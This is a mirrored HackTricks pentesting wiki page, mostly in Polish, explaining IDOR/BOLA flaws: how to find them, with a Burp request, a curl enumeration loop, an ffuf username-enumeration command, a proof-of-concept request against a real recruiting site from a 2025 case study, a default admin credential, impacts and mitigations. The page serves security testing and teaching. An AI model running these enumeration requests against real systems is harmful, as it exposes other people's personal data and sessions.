maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity
hacktricks/src/pentesting-web/idor.md

5.7 KiB
Raw Blame History

IDOR (Insecure Direct Object Reference)

{{#include ../banners/hacktricks-training.md}}

IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) występuje, gdy endpoint webowy lub API ujawnia lub akceptuje sterowalny przez użytkownika identyfikator, który jest używany bezpośrednio do dostępu do wewnętrznego obiektu bez sprawdzenia, czy wywołujący ma uprawnienia do dostępu/modyfikacji tego obiektu. Udana eksploatacja zazwyczaj pozwala na poziomą lub pionową privilege-escalation, np. na odczyt lub modyfikację danych innych użytkowników, a w najgorszym wypadku na full account takeover lub mass-data exfiltration.

1. Identifying Potential IDORs

  1. Look for parameters that reference an object:
  • Path: /api/user/1234, /files/550e8400-e29b-41d4-a716-446655440000
  • Query: ?id=42, ?invoice=2024-00001
  • Body / JSON: {"user_id": 321, "order_id": 987}
  • Headers / Cookies: X-Client-ID: 4711
  1. Prefer endpoints that read or update data (GET, PUT, PATCH, DELETE).
  2. Note when identifiers are sequential or predictable – if your ID is 64185742, then 64185741 probably exists.
  3. Explore hidden or alternate flows (e.g. "Paradox team members" link in login pages) that might expose extra APIs.
  4. Use an authenticated low-privilege session and change only the ID keeping the same token/cookie. The absence of an authorization error is usually a sign of IDOR.

Quick manual tampering (Burp Repeater)

PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json

{"lead_id":64185741}

Zautomatyzowana enumeracja (Burp Intruder / curl loop)

for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done

Error-response oracle for user/file enumeration

Gdy download endpoint akceptuje zarówno username, jak i filename (np. /view.php?username=<u>&file=<f>), subtelne różnice w komunikatach o błędach często tworzą oracle:

  • Nieistniejący username → "User not found"
  • Zły filename, ale prawidłowe rozszerzenie → "File does not exist" (czasami również wypisuje dostępne pliki)
  • Złe rozszerzenie → błąd walidacji

Mając dowolną uwierzytelnioną sesję, możesz fuzzować parametr username przy trzymaniu benign filename i filtrować po ciągu "user not found", aby odkryć prawidłowych użytkowników:

ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'

Po zidentyfikowaniu prawidłowych nazw użytkowników, zażądaj konkretnych plików bezpośrednio (np. /view.php?username=amanda&file=privacy.odt). Ten wzorzec często prowadzi do nieautoryzowanego ujawnienia dokumentów innych użytkowników oraz wycieku poświadczeń.

2. Real-World Case Study – McHire Chatbot Platform (2025)

Podczas oceny portalu rekrutacyjnego Paradox.ai-powered McHire odkryto następujący IDOR:

  • Endpoint: PUT /api/lead/cem-xhr
  • Authorization: ciasteczko sesji użytkownika dla dowolnego konta testowego restauracji
  • Body parameter: {"lead_id": N} – 8-cyfrowy, sekwencyjny identyfikator numeryczny

Zmniejszając lead_id, tester pobrał dowolnych kandydatów pełne PII (imię i nazwisko, e-mail, telefon, adres, preferencje zmian) oraz konsumencki JWT, który umożliwił przejęcie sesji. Enumeracja zakresu 1 – 64,185,742 ujawniła około 64 million rekordów.

Proof-of-Concept request:

curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'

W połączeniu z domyślnymi danymi administratora (123456:123456), które zapewniały dostęp do konta testowego, podatność doprowadziła do krytycznego wycieku danych obejmującego całą firmę.

3. Wpływ IDOR / BOLA

  • Eskalacja pozioma – odczyt/modyfikacja/usunięcie danych innych użytkowników.
  • Eskalacja pionowa – użytkownik o niskich uprawnieniach uzyskuje funkcjonalności dostępne tylko dla administratorów.
  • Masowy wyciek danych, jeśli identyfikatory są sekwencyjne (np. ID kandydatów, faktury).
  • Przejęcie konta poprzez kradzież tokenów lub resetowanie haseł innych użytkowników.

4. Środki zaradcze i najlepsze praktyki

  1. Enforce object-level authorization on every request (user_id == session.user).
  2. Preferuj indirect, unguessable identifiers (UUIDv4, ULID) zamiast autoinkrementujących ID.
  3. Wykonuj autoryzację server-side, nigdy nie polegaj na ukrytych polach formularzy ani kontrolkach UI.
  4. Zaimplementuj RBAC / ABAC checks w centralnym middleware.
  5. Dodaj rate-limiting & logging aby wykrywać enumerację identyfikatorów.
  6. Testuj bezpieczeństwo każdego nowego endpointu (unit, integration, and DAST).

5. Narzędzia

  • BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
  • OWASP ZAP: Auth Matrix, Forced Browse.
  • Github projects: bwapp-idor-scanner, Blindy (bulk IDOR hunting).

Źródła